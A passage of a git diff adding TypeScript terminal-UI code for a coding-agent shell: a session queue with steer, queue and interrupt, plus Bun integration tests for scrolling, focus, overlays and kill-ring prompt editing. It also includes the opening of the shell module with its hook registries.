+} + +/** + * Hard interrupt: discard all pending queue + steer, clear flash flag set, + * force run to idle (caller re-sets busy when a new run starts). + */ +export function interrupt(state: SessionQueueState): SessionQueueState { + return { + run: "idle", + items: [], + interruptFlash: true, + nextId: state.nextId, + } +} + +export function clearInterruptFlash( + state: SessionQueueState, +): SessionQueueState { + if (!state.interruptFlash) return state + return { ...state, interruptFlash: false } +} + +/** Drain order: steers first (FIFO within class), then queue (FIFO). */ +export function drainOrder( + state: SessionQueueState, +): readonly QueueItem[] { + const steers = state.items.filter((i) => i.kind === "steer") + const queues = state.items.filter((i) => i.kind === "queue") + return [...steers, ...queues] +} + +/** Pop next delivery item (steer-first). */ +export function drainOne( + state: SessionQueueState, +): { state: SessionQueueState; item: QueueItem | null } { + const order = drainOrder(state) + const item = order[0] ?? null + if (!item) return { state, item: null } + return { + state: { + ...state, + items: state.items.filter((i) => i.id !== item.id), + }, + item, + } +} diff --git a/src/tui-opentui/shell.test.ts b/src/tui-opentui/shell.test.ts new file mode 100644 index 000000000..04ae65ca4 --- /dev/null +++ b/src/tui-opentui/shell.test.ts @@ -0,0 +1,740 @@ +/** + * Integration: app shell product skin — sticky, queue/steer/interrupt, overlay Esc. + */ +import { describe, expect, test } from "bun:test" +import type { KeyEvent } from "@opentui/core" +import { IDLE_TRANSCRIPT_FLOOR } from "./geometry/index" +import { focusOwner, scrollLease } from "./focus/index" +import { + createListViewport, + moveActive, + visibleSlice, +} from "./list-viewport" +import { withTestRenderer } from "./harness" +import { paintStreamRow } from "./stream" +import { + appendStreamRow, + appendTranscript, + closeInsetOverlay, + createAppShell, + interruptShell, + isTranscriptFollowing, + noticeText, + openInsetOverlay, + setPendingQueue, + shellFocusPrompt, + shellFocusTranscript, + stickyMode, + submitPrompt, + toggleShellFocus, + transcriptRowLayout, +} from "./shell" + +/** The transient notice row sits directly above the prompt box's top rule. */ +function noticeRow(frame: string): string { + const rows = frame.split("\n") + const top = rows.findIndex((r) => r.includes("╭")) + return top > 0 ? (rows[top - 1] ?? "") : "" +} + +describe("createAppShell", () => { + test("builds transcript / prompt / notice with floor geometry", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + title: "test", + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + expect(shell.transcript).toBeDefined() + expect(shell.prompt).toBeDefined() + expect(shell.notice).toBeDefined() + expect(shell.promptTopRule).toBeDefined() + expect(shell.promptBottomRule).toBeDefined() + expect(shell.transcript.stickyScroll).toBe(true) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + expect(focusOwner(shell.focus)).toBe("prompt") + expect(scrollLease(shell.focus)).toBe("transcript") + await h.renderOnce() + const frame = h.captureCharFrame() + // The session name is not chrome; the brand lockup is. + expect(frame).toContain("corbits code") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("append follows tail while sticky at bottom", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + for (let i = 0; i < 40; i++) { + appendTranscript(shell, `line-${i}`) + } + await h.renderOnce() + await h.renderOnce() + expect(shell.lineCount).toBe(40) + expect(isTranscriptFollowing(shell)).toBe(true) + expect(stickyMode(shell)).toBe("FOLLOW") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("scroll up pins; append does not yank viewport", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + for (let i = 0; i < 50; i++) { + appendTranscript(shell, `seed-${i}`) + } + await h.renderOnce() + expect(isTranscriptFollowing(shell)).toBe(true) + + shell.transcript.scrollTop = 0 + await h.renderOnce() + expect(isTranscriptFollowing(shell)).toBe(false) + expect(stickyMode(shell)).toBe("PINNED") + const pinnedTop = shell.transcript.scrollTop + + appendTranscript(shell, "after-pin") + await h.renderOnce() + expect(isTranscriptFollowing(shell)).toBe(false) + expect(Math.abs(shell.transcript.scrollTop - pinnedTop)).toBeLessThan( + 2, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("the notice says pinned only while the tail is off screen", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + for (let i = 0; i < 50; i++) { + appendStreamRow(shell, { role: "system", text: `seed-${i}` }) + } + await h.renderOnce() + // Following the tail is the default state and says nothing. + expect(noticeText(shell)).not.toContain("pinned") + + shell.transcript.scrollTop = 0 + await h.renderOnce() + expect(noticeText(shell)).toContain("pinned") + + shell.transcript.scrollTop = + shell.transcript.scrollHeight - shell.transcript.height + await h.renderOnce() + expect(noticeText(shell)).not.toContain("pinned") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("focus lease: prompt vs transcript", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + expect(focusOwner(shell.focus)).toBe("prompt") + shellFocusTranscript(shell) + expect(focusOwner(shell.focus)).toBe("transcript") + shellFocusPrompt(shell) + expect(focusOwner(shell.focus)).toBe("prompt") + toggleShellFocus(shell) + expect(focusOwner(shell.focus)).toBe("transcript") + await h.renderOnce() + // Focus is a lease, not chrome: nothing on screen announces it. + expect(h.captureCharFrame()).not.toContain("tab prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Tab key toggles shell focus when wireKeys enabled", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + expect(focusOwner(shell.focus)).toBe("prompt") + h.pressKey("Tab") + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("transcript") + h.pressKey("Tab") + await h.renderOnce() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Enter / Alt+Enter / Ctrl+C key shapes on shell renderer", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 60, rows: 20 }, + wireKeys: false, + }) + try { + const captured: KeyEvent[] = [] + h.renderer.keyInput.on("keypress", (key: KeyEvent) => { + captured.push(key) + }) + + h.pressKey("Enter") + await h.renderOnce() + const enter = captured.at(-1)! + expect(enter.name === "return" || enter.name === "enter").toBe(true) + expect(enter.ctrl).toBe(false) + expect(enter.meta).toBe(false) + + h.pressKey("Alt+Enter") + await h.renderOnce() + const alt = captured.at(-1)! + expect(alt.name === "return" || alt.name === "enter").toBe(true) + expect(alt.meta === true || alt.option === true).toBe(true) + + h.pressKey("Ctrl+C") + await h.renderOnce() + const ctrlC = captured.at(-1)! + expect(ctrlC.name).toBe("c") + expect(ctrlC.ctrl).toBe(true) + } finally { + shell.dispose() + } + }) + }) + + test("pending queue badge paints in status", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + setPendingQueue(shell, 3) + expect(shell.pendingQueue).toBe(3) + await h.renderOnce() + expect(h.captureCharFrame()).toContain("queue 3") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("product skin: stream + queue + overlay", () => { + test("transcript rows carry no line-number gutter", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + appendStreamRow(shell, { role: "tool", text: "ok", meta: "bash" }) + appendStreamRow(shell, { role: "user", text: "hello world" }) + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("hello world") + expect(frame).not.toMatch(/000[12]/) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("stream rows paint each voice in its own place", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + appendStreamRow(shell, { role: "user", text: "hello world" }) + appendStreamRow(shell, { role: "assistant", text: "hi there" }) + appendStreamRow(shell, { + role: "tool", + text: "ok", + meta: "bash", + }) + expect(shell.lineCount).toBe(3) + // Assistant rows are markdown; their blocks highlight asynchronously. + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + const frame = h.captureCharFrame() + // Sticky follows the tail — the last rows stay in view. + expect(frame).toContain("hi there") + expect(frame).toContain("bash") + // One agent is answering, so no row spends columns naming it. + expect(frame).not.toContain("agent") + expect(frame).not.toContain(" tool ") + // User row content is in the scroll buffer (pure paint covered in stream.test). + expect( + paintStreamRow( + { role: "user", text: "hello world" }, + transcriptRowLayout(shell), + ).content, + ).toContain("hello world") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("the box's borders carry the chrome, with no keys strip", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("corbits code") + expect(frame).not.toContain("/ commands") + expect(frame).not.toContain("@ files") + // Both rules close: the metadata is inside the frame, not beside it. + expect(frame).toContain("╮") + expect(frame).toContain("╯") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("busy Enter enqueues; badge increments", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "busy", + }) + try { + shell.prompt.value = "queue me" + submitPrompt(shell, "queue") + expect(shell.pendingQueue).toBe(1) + expect(shell.session.items[0]!.kind).toBe("queue") + expect(shell.prompt.value).toBe("") + await h.renderOnce() + expect(h.captureCharFrame()).toContain("queue 1") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("busy Alt+Enter steers", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "busy", + }) + try { + shell.prompt.value = "steer me" + submitPrompt(shell, "steer") + expect(shell.pendingQueue).toBe(1) + expect(shell.session.items[0]!.kind).toBe("steer") + await h.renderOnce() + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("steer") + expect(frame).toContain("queue 1") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Ctrl+C interrupt clears pending + flash", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "busy", + }) + try { + shell.prompt.value = "a" + submitPrompt(shell, "queue") + shell.prompt.value = "b" + submitPrompt(shell, "steer") + expect(shell.pendingQueue).toBe(2) + interruptShell(shell) + expect(shell.pendingQueue).toBe(0) + expect(shell.session.interruptFlash).toBe(true) + expect(shell.session.run).toBe("idle") + await h.renderOnce() + const row = noticeRow(h.captureCharFrame()) + expect(row).toContain("interrupt") + // An empty queue is the default state, so it stays off the row. + expect(row).not.toContain("queue") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("inset overlay opens; Esc restores prompt focus", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + expect(focusOwner(shell.focus)).toBe("prompt") + openInsetOverlay(shell) + expect(shell.overlayList).not.toBeNull() + expect(focusOwner(shell.focus)).toBe("overlay") + expect(shell.layout.overlayMode).toBe("inset") + expect(shell.overlayHost.visible).toBe(true) + await h.renderOnce() + const openFrame = h.captureCharFrame() + expect(openFrame).toContain("permission") + expect(openFrame).toContain("Allow bash") + + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(shell.layout.overlayMode).toBe("closed") + await h.renderOnce() + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc key closes overlay via wireKeys", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + openInsetOverlay(shell) + expect(focusOwner(shell.focus)).toBe("overlay") + // ESC needs disambiguation delay on the mock stdin path. + h.pressKey("Escape") + await new Promise((r) => setTimeout(r, 60)) + await h.renderOnce() + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("80x24 idle transcript floor holds with closed overlay", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + openInsetOverlay(shell) + // Inset may shrink transcript but still uses resolver floors. + expect(shell.layout.overlayHeight).toBeGreaterThan(0) + closeInsetOverlay(shell) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("prompt editing chords", () => { + test("Ctrl+K kills to end of prompt, Ctrl+Y yanks it back", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 5 + h.pressKey("k", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello world") + expect(shell.prompt.cursorOffset).toBe(11) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Ctrl+U kills to start of prompt (backward)", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 6 + h.pressKey("u", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("world") + expect(shell.prompt.cursorOffset).toBe(0) + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello world") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Ctrl+W kills the previous word", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 11 + h.pressKey("w", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello ") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello world") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Alt+D kills the next word", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "hello world" + shell.prompt.cursorOffset = 0 + h.pressKey("d", { meta: true }) + await h.renderOnce() + // The native deleteWordForward consumes the trailing separator too. + expect(shell.prompt.value).toBe("world") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("hello world") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("a no-op Ctrl+K (already at end) does not clobber the prior kill", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "one two three" + shell.prompt.cursorOffset = 3 + h.pressKey("k", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("one") + + // Cursor is already at the end of the buffer, so this Ctrl+K kills + // nothing — it must not overwrite the ring with an empty entry. + h.pressKey("k", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("one") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("one two three") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Alt+Y rotates the yank to the next-older kill", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "first second" + shell.prompt.cursorOffset = 12 + h.pressKey("w", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("first ") + + // A non-kill keystroke breaks accumulation so the next kill lands + // in a fresh ring entry instead of merging with this one. + h.pressKey("ARROW_LEFT") + await h.renderOnce() + shell.prompt.cursorOffset = 0 + + h.pressKey("k", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("first ") + + h.pressKey("y", { meta: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("second") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("typing between kills breaks accumulation: a later Ctrl+K starts a fresh entry", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + shell.prompt.value = "one two" + shell.prompt.cursorOffset = 3 + h.pressKey("k", { ctrl: true }) + await h.renderOnce() + expect(shell.prompt.value).toBe("one") + + h.pressKey("x") + await h.renderOnce() + expect(shell.prompt.value).toBe("onex") + + h.pressKey("Backspace") + await h.renderOnce() + expect(shell.prompt.value).toBe("one") + + h.pressKey("y", { ctrl: true }) + await h.renderOnce() + // The kill ring still has " two" from the original Ctrl+K — typing + // and backspacing in between must not have merged into it. + expect(shell.prompt.value).toBe("one two") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("list kit + overlay focus simulation", () => { + test("list viewport keep-active-visible works as overlay consumer", () => { + let list = createListViewport({ count: 40, height: 8, activeIndex: 0 }) + list = moveActive(list, 20) + const slice = visibleSlice(list) + expect(slice.activeIndex).toBe(20) + expect(slice.start).toBeLessThanOrEqual(20) + expect(slice.end).toBeGreaterThan(20) + expect(20 >= slice.start && 20 < slice.end).toBe(true) + }) +}) diff --git a/src/tui-opentui/shell.ts b/src/tui-opentui/shell.ts new file mode 100644 index 000000000..e7f3cc37a --- /dev/null +++ b/src/tui-opentui/shell.ts @@ -0,0 +1,4931 @@ +/** + * OpenTUI app shell — sticky transcript, prompt chrome, inset overlay. + * + * Wave 3 product skin on the Wave 2 platform. Functional wrappers around + * @opentui/core class renderables. Not wired to production CLI; Ink remains production. + */ + +import { homedir } from "node:os" + +import { + BoxRenderable, + CliRenderEvents, + MarkdownRenderable, + ScrollBoxRenderable, + TextRenderable, + TextTableRenderable, + StyledText, + bold as boldChunk, + fg as fgChunk, + type BaseRenderable, + type CliRenderer, + type KeyEvent, + type TextChunk, +} from "@opentui/core" + +import { isExitCommand } from "../tui/exit-command.js" +import { + composePromptActionBarModelLabel, + type PromptActionBarModelLabelInput, +} from "../tui/components/prompt-action-bar-label.js" +import { stringWidth } from "../tui/view/height.js" +import { listPathSuggestions } from "../tui/components/at-mention/list.js" +import { parseAtState } from "../tui/components/at-mention/parse.js" +import { + readClipboardImage, + type ClipboardImageResult, + type PendingImageAttachment, +} from "../tui/image-attachments.js" +import { + createSentHistoryBrowse, + sentHistoryOnEdit, + stepSentHistoryDown, + stepSentHistoryUp, + type SentHistoryBrowse, +} from "../tui/sent-message-history.js" +import { spliceMentionCompletion } from "./prompt-attachments.js" +import { + createPromptInput, + promptCaretAtFirstRow, + promptCaretAtLastRow, + promptRowCount, + type PromptInput, +} from "./prompt-input.js" +import { promptBoxRows } from "./prompt-rows.js" +import { composeNoticeLine } from "./notice-line.js" +import { lockupCells, lockupText, lockupWidth } from "./lockup.js" +import { + BORDER, + composeCostContextMeter, + composeRule, + composeWorkspaceLabel, + costContextText, + type CostContextMeter, + type RulePart, +} from "./prompt-border.js" +import { RAMP_WIDTH } from "./ramp.js" +import { + viewToTableContent, + type McpStructuredView, +} from "./mcp-view.js" +import { + canPopFocus, + createFocusState, + focusOwner, + focusPrompt, + focusTranscript, + openObserve, + openOverlay, + popFocus, + type FocusState, +} from "./focus/index.js" +import { + PROMPT_IDLE_ROWS, + resolveBottomMarginRows, + resolveGeometry, + resolveTopPadRows, + type GeometryLayout, + type OverlayMode, + type ZoneVisibility, +} from "./geometry/index.js" +import { + createLandingAbove, + createLandingBelow, + fitLandingMark, + landingBelowContent, + landingSuggestionFor, + paintLandingBelow, + paintLandingMark, + resolveMarkGrid, + splitLandingRows, + type LandingAbove, + type LandingBelowContent, +} from "./landing.js" +import { + createListViewport, + moveActive, + page as pageList, + setCount as setListCount, + setHeight as setListHeight, + visibleSlice, + type ListViewportState, +} from "./list-viewport.js" +import { + LONG_LOG_WINDOW, + collapseMarker, + mustWindow, + windowSlice, +} from "./long-log.js" +import { + DEFAULT_PALETTE_COMMANDS, + filterPaletteCommands, + formatPaletteRows, + isResidualActionId, + paletteDispatchOf, + paletteLabels, + paletteRowColumns, + type PaletteActionId, + type PaletteCommand, +} from "./palette.js" +import { shortcutForPaletteId } from "./keybindings.js" +import { destroySubtree } from "./teardown.js" +import { + filterMentionSuggestions, + splitMentionToken, +} from "./mention-filter.js" +import { + makeHelpItems, + makeMentionItems, + makeObserveFixture, + makePluginsItems, + makeResumeItems, + makeSettingsItems, + type ObserveSession, +} from "./residuals.js" +import { + buildCopyTargets, + createRecordingClipboard, + streamLogMarkdown, + type ClipboardPort, + type CopyTarget, +} from "./copy-path.js" +import { + badgeCount, + clearInterruptFlash, + createSessionQueue, + enqueue, + enqueueSteer, + interrupt, + setRunState, + type RunState, + type SessionQueueState, +} from "./session-queue.js" +import { + agentVoicesIn, + blockLabel, + EXPAND_KEY, + expandedRowLines, + isCollapsibleRow, + splitTrailingArrow, + isExpansionRow, + isMarkdownRow, + isSentenceRow, + MAIN_AGENT, + paintStreamRow, + rowGroupGap, + streamRowGutter, + toolRowLines, + toolSentenceLines, + transcriptSyntaxStyle, + type PaintedStreamLine, + type RowLayout, + type StreamRow, + type StyledBodyLine, +} from "./stream.js" +import { UI } from "./theme.js" +import { middleEllipsis } from "./command-display.js" +import { + composeDecisionBody, + decisionChoiceRows, + DECISION_CHOICE_ROWS, + wrapOverlayText, + wrapWords, +} from "./overlay-body.js" +import { + beginYank, + breakKillSequence, + emptyKillRing, + killedTextBackward, + killedTextForward, + recordKill, + rotateYank, + type KillRing, +} from "./prompt-kill-ring.js" + +const shellExitHandlers = new WeakMap void>() + +/** + * Register the host's quit path (the same one Ctrl+D runs) so a bare `exit` / + * `quit` typed at the prompt tears down through finalize instead of a second, + * cleanup-skipping exit route. + */ +export function setShellExitHandler(shell: AppShell, onExit: () => void): void { + shellExitHandlers.set(shell, onExit) +} + +export function clearShellExitHandler(shell: AppShell): void { + shellExitHandlers.delete(shell) +} + +/** Optional Wave-4 bridge hooks (runtime-bridge attaches exclusively). */ +export type ShellBridgeHooks = { + onSubmit: ( + text: string, + kind: "queue" | "steer" | "immediate", + attachments?: readonly PendingImageAttachment[], + ) => void + onInterrupt: () => void + exclusive: boolean +} + +const shellBridgeHooks = new WeakMap() + +export function setShellBridgeHooks( + shell: AppShell, + hooks: ShellBridgeHooks, +): void { + shellBridgeHooks.set(shell, hooks) +} + +export function clearShellBridgeHooks(shell: AppShell): void { + shellBridgeHooks.delete(shell) +} + +export function getShellBridgeHooks( + shell: AppShell, +): ShellBridgeHooks | undefined { + return shellBridgeHooks.get(shell) +} + +/** + * What the focused overlay row is, and what choosing it costs. Painted in the + * fixed description zone under every overlay list that opts in via `describe`. + */ +export type ItemDescription = { + /** What the focused thing is. One line. */ + readonly what: string + /** What choosing it costs or changes. One line. Omit when there is nothing true to say. */ + readonly impact?: string + /** "consequence" paints impact in UI.action — billing, trust, anything that spends or extends reach. */ + readonly tone?: "plain" | "consequence" +} + +/** + * Payload delivered when the operator accepts an overlay list selection. + * Hosts map this into ApprovalOutcome / OperatorResult / model switch. + */ +export type OverlaySelection = { + readonly kind: PrimaryOverlayKind + readonly index: number + readonly label: string + /** Stable id when the host provided `itemIds`; otherwise omitted. */ + readonly id?: string +} + +/** + * Shell-level overlay accept hooks. Host binds authz / ask_operator / settings. + * Kind-specific hooks win over `onSelect`. Per-open `onAccept` (on open opts) + * takes precedence for that open's lifetime. + */ +export type ShellOverlayHooks = { + readonly onPermission?: (selection: OverlaySelection) => void + readonly onOperator?: (selection: OverlaySelection) => void + readonly onModel?: (selection: OverlaySelection) => void + readonly onSettings?: (selection: OverlaySelection) => void + readonly onHelp?: (selection: OverlaySelection) => void + readonly onPlugins?: (selection: OverlaySelection) => void + readonly onResume?: (selection: OverlaySelection) => void + readonly onMentions?: (selection: OverlaySelection) => void + /** Catch-all for non-palette kinds when no kind-specific hook is set. */ + readonly onSelect?: (selection: OverlaySelection) => void +} + +const shellOverlayHooks = new WeakMap() + +export function setShellOverlayHooks( + shell: AppShell, + hooks: ShellOverlayHooks, +): void { + shellOverlayHooks.set(shell, hooks) +} + +export function clearShellOverlayHooks(shell: AppShell): void { + shellOverlayHooks.delete(shell) +} + +export function getShellOverlayHooks( + shell: AppShell, +): ShellOverlayHooks | undefined { + return shellOverlayHooks.get(shell) +} + +/** + * Injectable handler for registry-backed palette selections (`dispatch: "command"`). + * Residual openers still go through `runPaletteAction`. Host binds real handlers + * (slash command run, overlay open, etc.) without the palette importing the registry. + */ +export type PaletteOnCommand = (name: string) => void + +const shellPaletteOnCommand = new WeakMap() + +export function setPaletteOnCommand( + shell: AppShell, + handler: PaletteOnCommand | undefined, +): void { + if (handler) shellPaletteOnCommand.set(shell, handler) + else shellPaletteOnCommand.delete(shell) +} + +export function getPaletteOnCommand( + shell: AppShell, +): PaletteOnCommand | undefined { + return shellPaletteOnCommand.get(shell) +} + +/** + * Clipboard image reader behind Ctrl+P. Injectable so tests (and non-macOS + * hosts) can supply their own source instead of shelling out to osascript. + */ +export type PromptImageSource = () => Promise + +const shellPromptImageSource = new WeakMap() + +export function setPromptImageSource( + shell: AppShell, + source: PromptImageSource | undefined, +): void { + if (source) shellPromptImageSource.set(shell, source) + else shellPromptImageSource.delete(shell) +} + +/** Filesystem suggestions behind the @-mention overlay. */ +export type MentionSuggestionSource = (prefix: string) => Promise + +const shellMentionSource = new WeakMap() + +export function setMentionSuggestionSource( + shell: AppShell, + source: MentionSuggestionSource | undefined, +): void { + if (source) shellMentionSource.set(shell, source) + else shellMentionSource.delete(shell) +} + +/** + * Injectable handler for the palette "observe" action. Host resolves a live + * `ObserveSession` (or `null` when no subagent is running). Demo/smoke keep + * using `makeObserveFixture()` by leaving this unset. + */ +export type PaletteOnObserveRequest = () => ObserveSession | null + +const shellPaletteOnObserveRequest = new WeakMap< + AppShell, + PaletteOnObserveRequest +>() + +export function setPaletteOnObserveRequest( + shell: AppShell, + handler: PaletteOnObserveRequest | undefined, +): void { + if (handler) shellPaletteOnObserveRequest.set(shell, handler) + else shellPaletteOnObserveRequest.delete(shell) +} + +export function getPaletteOnObserveRequest( + shell: AppShell, +): PaletteOnObserveRequest | undefined { + return shellPaletteOnObserveRequest.get(shell) +} + +/** Dispatch accept to per-open callback, then shell-level kind hooks. */ +function dispatchOverlayAccept( + shell: AppShell, + selection: OverlaySelection, + perOpen: ((selection: OverlaySelection) => void) | null, +): void { + if (perOpen) { + perOpen(selection) + return + } + const hooks = getShellOverlayHooks(shell) + if (!hooks) return + switch (selection.kind) { + case "permissions": + if (hooks.onPermission) { + hooks.onPermission(selection) + return + } + break + case "operator": + if (hooks.onOperator) { + hooks.onOperator(selection) + return + } + break + case "model_picker": + if (hooks.onModel) { + hooks.onModel(selection) + return + } + break + case "settings": + if (hooks.onSettings) { + hooks.onSettings(selection) + return + } + break + case "help": + if (hooks.onHelp) { + hooks.onHelp(selection) + return + } + break + case "plugins": + if (hooks.onPlugins) { + hooks.onPlugins(selection) + return + } + break + case "resume": + if (hooks.onResume) { + hooks.onResume(selection) + return + } + break + case "mentions": + if (hooks.onMentions) { + hooks.onMentions(selection) + return + } + break + default: + break + } + hooks.onSelect?.(selection) +} + +/** Renderer surface required by the shell (CliRenderer / createTestRenderer). */ +export type ShellRenderer = Pick< + CliRenderer, + "root" | "width" | "height" | "keyInput" | "on" | "off" +> + +export type AppShellOptions = { + /** Session name. Default "corbits". Not painted as chrome. */ + readonly title?: string + /** Working directory carried by the prompt box's bottom border. */ + readonly cwd?: string + /** Zone visibility overrides for resolveGeometry. Optional strips off by default. */ + readonly visibility?: ZoneVisibility + /** Requested prompt content rows (geometry caps at 40%). Default 3. */ + readonly promptContentRows?: number + /** Pending queue count seed. Default 0. */ + readonly pendingQueue?: number + /** Wire Tab + product keys (Enter/Alt+Enter/Ctrl+C/Esc/overlay). Default true. */ + readonly wireKeys?: boolean + /** Mount shell.root on renderer.root. Default true. */ + readonly mount?: boolean + /** Initial terminal size override (tests). Defaults to renderer.width/height. */ + readonly terminal?: { readonly columns: number; readonly rows: number } + /** Simulated agent run state. Default "busy" (queue-default mid-run). */ + readonly run?: RunState + /** Overlay list labels for inset demo. */ + readonly overlayItems?: readonly string[] + /** + * Default palette catalog when `openPalette` is called without `catalog`. + * Host typically passes `buildPaletteCatalog({ commands: listCommands() })`. + * Static array or lazy builder. Defaults to residual openers only. + */ + readonly paletteCatalog?: + | readonly PaletteCommand[] + | (() => readonly PaletteCommand[]) + /** + * Invoked when a 